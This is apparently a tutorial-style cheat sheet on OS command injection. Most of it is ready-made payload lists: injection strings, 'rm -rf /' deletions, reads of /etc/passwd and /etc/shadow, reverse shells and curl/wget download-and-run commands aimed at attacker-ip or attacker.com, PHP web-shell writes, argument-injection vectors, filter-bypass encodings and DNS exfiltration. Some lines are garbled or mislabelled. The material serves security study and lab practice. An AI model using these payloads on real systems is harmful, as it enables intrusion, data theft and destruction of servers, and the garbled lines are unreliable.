Introduction to Command Injection

Command injection is when an attacker tricks a web application into running system commands that it shouldn’t. This happens when the application takes user input and directly passes it to the systemC without proper validation. Since the commands run with the same permissions as the application, the attacker can use it like a system shell to execute unauthorized actions.

The main reason command injection happens is weak input validation attackers can manipulate input fields, cookies, or HTTP headers to insert their commands.

This attack is similar to code injection, where an attacker adds their own code to an application’s existing code. However, in code injection, the injected code runs within the application, while in command injection, the attacker runs actual system commands.

Risks and Real-World Examples

  • Hackers can run system commands – If an application is vulnerable, attackers can execute commands on the server, just like an authorized user.
  • Sensitive data can be stolen – Passwords, system files, and database records can be exposed.
  • Hackers can gain full control – By escalating privileges, they can turn a simple attack into total system takeover.
  • Servers can crash – Malicious commands can overload the system, making the application unusable.
  • Attackers can stay hidden – They can install backdoors to maintain access even after fixing the vulnerability.
  • Other systems can be attacked – Once inside, attackers can move to other connected systems and spread the attack.

Commonly Affected Applications

  • Web Applications – (Login pages, admin panels, file upload forms)
  • IoT Devices & Routers – (D-Link, Netgear, TP-Link, Cisco routers)
  • CMS Platforms – (WordPress, Joomla, Drupal with vulnerable plugins)
  • Network Management Tools – (Web-based monitoring and configuration panels)
  • Databases & Web APIs – (APIs executing shell commands, database management scripts)
  • Custom Admin Panels – (Internal business apps allowing automation commands)
  • Embedded Systems & ICS – (SCADA systems, industrial control software)
  • Email & Messaging Services – (Mail servers executing commands via email content)
  • Cloud Services & Hosting Panels – (cPanel, Plesk, AWS Lambda with improper input handling)
  • CI/CD Pipelines & DevOps Tools – (Jenkins, GitHub Actions, GitLab CI running user-defined commands)

Methodology

Command injection attacks happen when a vulnerable app lets user input control system commands. First, the attacker finds an input field or API that uses system commands. They then inject malicious commands using symbols like ;, &&, or |. If the command runs, they check for signs that it worked.

If successful, they might escalate their access to get more control, like viewing sensitive files or running restricted actions. They can also set up backdoors to stay in the system, move to other devices, or steal data. Finally, they’ll erase logs to hide what they've done.

Identifying Injection Points

Basic Command Termination: (ends the ping command and lists files).

127.0.0.1; ls

Background Command Execution: (runs ping and deletes files in the background).

127.0.0.1 & rm -rf /

Subshell Execution: (runs ping and executes whoami).

127.0.0.1; echo $(whoami)

Chained Commands: (lists files and shows sensitive data if successful).

127.0.0.1; ls && cat /etc/passwd

URL-Encoded Payloads: (URL-encoded semicolon to bypass input filters).

127.0.0.1%3B%20ls

Accessing Sensitive Files: (displays contents of sensitive files).

127.0.0.1; cat /etc/passwd

Basic Injection Techniques

Semicolon Injection The semicolon is used to terminate the current command and allow the attacker to chain additional commands.

127.0.0.1; ls
127.0.0.1; cat /etc/passwd
127.0.0.1; rm -rf /
127.0.0.1; whoami

Ampersand Injection (&) The ampersand (&) allows multiple commands to run simultaneously.

127.0.0.1 & ls
127.0.0.1 & touch /tmp/testfile
127.0.0.1 & rm -rf /
127.0.0.1 & echo "malicious command"

Pipe Injection (|) The pipe (|) operator is used to pass the output of one command as input to another.

127.0.0.1 | ls
127.0.0.1 | cat /etc/passwd
127.0.0.1 | echo $(whoami)
127.0.0.1 | id

Backtick Injection (`) Backticks or $() are used to execute commands within commands, allowing an attacker to run system commands.

127.0.0.1; echo \whoami``
127.0.0.1; echo \ls``
127.0.0.1; echo \cat /etc/passwd``
127.0.0.1; echo \id``

Double Ampersand Injection (&&) The && operator executes the second command only if the first one is successful.

127.0.0.1; ls && cat /etc/passwd
127.0.0.1; ls && rm -rf /
127.0.0.1; echo "test" && id
127.0.0.1; whoami && touch /tmp/testfile

URL Encoding URL encoding is used to bypass input filters that block special characters by encoding them as %xx.

127.0.0.1%3B%20ls
127.0.0.1%26%20ls
127.0.0.1%3B%20cat%20/etc/passwd
127.0.0.1%26%20echo%20"test"

Basic Commands

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Executing Simple Commands

These payloads allow attackers to execute arbitrary commands on a vulnerable system.

; whoami
| id
$(uname -a)
& net user
; cat /etc/passwd
|| echo "Injected!"
' OR 1=1; --

Output Redirection

Attackers can redirect command output to files or send data over a network.

whoami > /tmp/user.txt
id >> /var/tmp/logs.txt
echo $(cat /etc/passwd) > /dev/tcp/attacker-ip/4444
; nc -e /bin/sh attacker-ip 4444
; curl http://attacker.com/shell.sh | bash
cmd.exe /c "whoami > C:\Users\Public\log.txt"
cat /etc/shadow | nc attacker-ip 8080
wget http://attacker-ip/malware -O /tmp/malware && chmod +x /tmp/malware && /tmp/malware

Command Concatenation

By chaining commands, attackers can execute multiple payloads in a single request.

whoami && id
ls /home/user; pwd
nc -lvnp 4444 && bash -i
wget http://malicious-site.com/shell.sh && bash shell.sh
echo "Compromised" && rm -rf /
ping -c 4 8.8.8.8 && echo "Ping Done"
echo "Inject" || cat /etc/passwd
powershell -Command "Start-Process cmd -ArgumentList '/c whoami > C:\Users\Public\log.txt' -NoNewWindow"

Chaining Commands

In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.

command1; command2 # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2 # Execute command1 in the background
command1 | command2 # Pipe the output of command1 into command2

Using ;, &&, ||

The semicolon ; allows multiple commands to be executed sequentially, regardless of whether the previous command succeeds or fails.

whoami; id
ls -la; pwd
cat /etc/passwd; echo "Done"
ping -c 4 8.8.8.8; netstat -an
rm -rf /; echo "Oops"

The && operator ensures that the second command executes only if the first command succeeds.

whoami && id
ls /home/user && cat /etc/passwd
ping -c 4 8.8.8.8 && echo "Ping Successful"
wget http://attacker-ip/malware && bash malware
rm -rf / && echo "System Deleted"

The || operator executes the second command only if the first command fails.

whoami || echo "Command Failed"
cat /etc/shadow || echo "No Access"
ls /root || echo "Permission Denied"
ping -c 1 8.8.8.8 || echo "Ping Failed"
rm -rf / || echo "Failed to Delete System"

Combining with Logical Operators

Attackers can chain logical operators for more control over execution flow.

whoami && id || echo "Command Failed"
ls /home/user; cat /etc/passwd && echo "File Read"
ping -c 1 8.8.8.8 || echo "Network Down" && netstat -an
wget http://attacker-ip/script.sh && chmod +x script.sh; ./script.sh
rm -rf / || echo "Failed" && echo "Attempting Again"

Argument Injection

Gain a command execution when you can only append arguments to an existing command. Use this website [Argument Injection Vectors ](lhttps://sonarsource.github.io/argument-injection-vectors/- Sonar to find the argument to inject to gain command execution.

  1. Chrome (Chromium-based browsers)
chrome '--gpu-launcher="id>/tmp/foo"'
chrome '--js-flags="--trace-sync-io | id > /tmp/foo"'
chrome '--renderer-cmd-prefix="touch /tmp/hacked"'
chromium-browser '--disable-gpu-watchdog; /bin/bash -c id'

2. SSH (Secure Shell)

ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
ssh '-oProxyCommand="id > /tmp/foo"' foo@bar
ssh '-oUserKnownHostsFile=/dev/null -oProxyCommand="nc attacker-ip 4444 -e /bin/sh"' user@target
ssh '-oPermitLocalCommand=yes -oLocalCommand="id > /tmp/foo"' foo@bar

3. PostgreSQL (psql)

psql -o'|id>/tmp/foo'
psql -c 'copy (SELECT system("id > /tmp/foo")) to stdout'
psql -F'|/bin/bash -c "id > /tmp/foo"'
psql --pset footer=off --pset title='|id>/tmp/foo'

4. Python (Interactive Shell & Debug Mode)

python3 -c "import os; os.system('id > /tmp/foo')"
python3 -m venv "--clear; id > /tmp/foo"
python3 -X faulthandler=1 -c 'import os; os.system("id > /tmp/foo")'
python3 -q --help | id > /tmp/foo

5. Perl (Command Execution via Arguments)

perl -e 'system("id > /tmp/foo")'
perl -MFile::Glob=bsd_glob -e 'print bsd_glob("|id > /tmp/foo")'
perl -pi -e 'print qx(id) > /tmp/foo' file.txt
perl -0777 -pe 's/.*/qx{id>/tmp/foo}/e'

6. PHP (Command Injection via Options)

php -r 'system("id > /tmp/foo");'
php -d auto_prepend_file='/tmp/foo.php' -r 'echo "Injected";'
php -B 'system("id > /tmp/foo");'
php -R 'system("id > /tmp/foo");'

7. Tar (Exploiting Compression Tools)

tar -cf /dev/null --checkpoint=1 --checkpoint-action=exec=id
tar -xvf archive.tar --to-command='id > /tmp/foo'
tar --use-compress-program="id > /tmp/foo" -cf /dev/null /etc/passwd
tar -cf archive.tar --to-command='sh -c "id > /tmp/foo"'

Argument Injection via WorstFit Technique

The WorstFit technique allows injecting arguments using unexpected Unicode characters or misinterpreted encoding to bypass security mechanisms.

  1. Abuse of Fullwidth Characters (U+FF02, U+FF07, etc.) By using Unicode fullwidth characters, arguments can be manipulated to bypass filters.
ssh "-oProxyCommand=id > /tmp/foo" foo@bar
chrome "--gpu-launcher=id>/tmp/foo"
psql -o"|id>/tmp/foo"
wget "--execute=command=id > /tmp/foo" https://example.com
curl "-o webshell.php http://attacker.com/shell.txt"

2. Argument Injection with curl (Redirecting Execution Flow) If direct command execution isn’t possible, redirecting malicious payloads into files can lead to Remote Code Execution (RCE).

curl http://attacker.com/shell.php -o /var/www/html/shell.php
curl --data-binary '<?php system($_GET["cmd"]); ?>' -o /var/www/html/backdoor.php
curl "https://malicious.com/script.sh" -o /tmp/script.sh && bash /tmp/script.sh
curl -H "User-Agent: () { :; }; /bin/bash -c 'id > /tmp/foo'" http://target.com

3. Exploiting wget for Argument Injection By appending arguments, we can manipulate wget to write files in unintended locations.

wget -q "https://example.com/malware" -O /var/www/html/shell.php
wget --post-file=malicious.php http://target.com/upload
wget --header="User-Agent: () { :; }; /bin/bash -c 'nc -e /bin/sh attacker-ip 4444'" http://target.com
wget --execute="id > /tmp/foo"

4. Other Services Exploitable via Argument Injection Python

python3 -c "import os; os.system('id > /tmp/foo')"
python3 -X utf8 -c "import os; os.system('wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh')"

Perl

perl -MFile::Glob=bsd_glob -e 'print bsd_glob("|id > /tmp/foo")'
perl -pi -e 'print qx(id) > /tmp/foo' file.txt

PHP

php -d auto_prepend_file='/tmp/foo.php' -r 'echo "Injected";'
php -B 'system("id > /tmp/foo");'

Inside a Command

Command injection using backticks.

original_cmd_by_server `cat /etc/passwd`

Command injection using substitution

original_cmd_by_server $(cat /etc/passwd)

Injecting within Quotes

echo 'test'"; id #
grep "admin" && whoami
cat "file.txt" || uname -a
ping -c 1 "example.com; nc -e /bin/sh attacker-ip 4444"

Bypass Techniques

Space and Line Break Bypasses

$IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a separator in commands like ls, wget; use ${IFS} instead

cat${IFS}/etc/passwd
ls${IFS}-la

Bypass With a Line Return

original_cmd_by_server
ls

Bypass With Backslash Newline ()

$ cat /et\
c/pa\
sswd

URL encoded form

cat%20/et%5C%0Ac/pa%5C%0Asswd

Character and Encoding Bypasses

Bypassing With Hex Encoding Hex encoding allows the use of hexadecimal values to represent characters, which helps bypass input filters that block specific characters like /, ;, or |

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat $(echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")

Using xxd to Decode Hex xxd can be used to convert hex back into normal characters. This allows commands to be executed after being encoded in hex.

xxd -r -p <<< 2f6574632f706173737764 # Output: /etc/passwd
cat $(xxd -r -p <<< 2f6574632f706173737764) # Output: /etc/passwd

Using Base64 Encoding Base64 encoding can also be used to bypass filters. The encoded string can then be decoded during execution.

echo -n "cat /etc/passwd" | base64 # Base64 encoded: Y2F0IC9ldGMvcGFzc3dk
cat $(echo -n "cat /etc/passwd" | base64 --decode) # Output: /etc/passw

Using Unicode Encoding Unicode encoding can represent characters with their Unicode code points, allowing the injection of commands without using typical ASCII characters

echo -e "\u0063\u0061\u0074\u0020\u002F\u0065\u0074\u0063\u002F\u0070\u0061\u0073\u0073\u0077\u0064"
cat $(echo -e
"\u0063\u0061\u0074\u0020\u002F\u0065\u0074\u0063\u002F\u0070\u0061\u0073\u0073\u0077\u0064") #

Bypass With Tilde Expansion (~)

echo ~+
echo ~-

Bypass With Brace Expansion ({})

{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}

Bypass Characters Filter

swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

Bypass Characters Filter Via Hex Encoding

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

Bypass With Single Quote (')

w'h'o'am'i
wh''oami
'w'hoami

Bypass With Double Quote (")

w"h"o"am"i
wh""oami
"wh"oami

Bypass With Backticks (`)

wh``oami

Bypass With Backslash and Slash (\ and /)

w\ho\am\i
/\b\i\n/////s\h

Environment and Shell Variable Bypasses

curl http://victim.com/upload?file=${IFS}/etc/passwd

Bypass With $@

who$@ami
echo whoami|$0

Bypass With $()

who$()ami
who$(echo am)i
who`echo am`i

Bypass With Variable Expansion

/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Bypass With Wildcards (*, ?)

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

Bypass With Built-In Commands (exec, eval, sh)

eval('ls -la /etc')
exec('cat /etc/passwd')
sh -c 'cat /etc/passwd'

Bypass With IFS (Internal Field Separator Manipulation)

cat${IFS}/etc/passwd
ls${IFS}-la${IFS}/home/user
echo${IFS}"malicious_code" |${IFS}sh

Advanced Exploitation Techniques

Data Exfiltration

Time-Based Data Exfiltration

The system is instructed to wait based on a condition, and the time difference is used to determine the correct value. Correct value (delay of 5 seconds)

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s

Incorrect value (no delay)

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s

DNS-Based Data Exfiltration

The attacker sends data to a DNS server (or service), typically over multiple DNS queries. This can be done using a public service or custom DNS server. This command queries each item from the ls / output as a DNS request to a domain hosted at dnsbin.zhack.ca.

for i in $(ls /); do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

Online tools for DNS-based exfiltration dnsbin.zhack.ca Interactsh [Burp Collaborator]

Polyglot Command Injection

Polyglot command injection involves crafting payloads that can bypass various filters and execute commands in different contexts (e.g., inside single quotes, double quotes, or shell environments). These payloads exploit parsing and execution behavior differences across various environments. Basic Polyglot Command

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Double quotes: (No filtering, executes in most shells)
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Single quotes: (Still valid, different context)
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Mixed single and double quotes
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

Advanced Polyglot with Multiple Injection Contexts

# Using multiple quote types and escape sequences
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
# Single quotes with multiple environments
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
# Double quotes, valid in both shell and PHP
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"

Polyglot with Conditional Execution and Comments

# In double quotes, valid in both shell and web environments
echo "1 || echo 'Hacked'; /* $(echo $(sleep 5)) */ -echo $(sleep 5) #"
# In single quotes, still functional due to different parsing behavior
echo '1 || echo "Hacked"; /* $(echo $(sleep 5)) */ -echo $(sleep 5) #'

Polyglot Exploit with Inline Execution

1 ; echo $(sleep 5) ; `sleep 5` ; # /bin/sh -c "echo 5"

Labs

PortSwigger - OS command injection, simple case PortSwigger - Blind OS command injection with time delays PortSwigger - Blind OS command injection with output redirection PortSwigger - Blind OS command injection with out-of-band interaction PortSwigger - Blind OS command injection with out-of-band data exfiltration Root Me - PHP - Command injection Root Me - Command injection - Filter bypass Root Me - PHP - assert Command Injection

Cheatsheet

PayloadsAllTheThings Command Injection Payload List OS_Command_Payload_List Mail-Injection OS Command Injection Defense Cheat Sheet

Tools

Resources

OWASP Cobalt hackerone Lab Walkthrough - Command Injection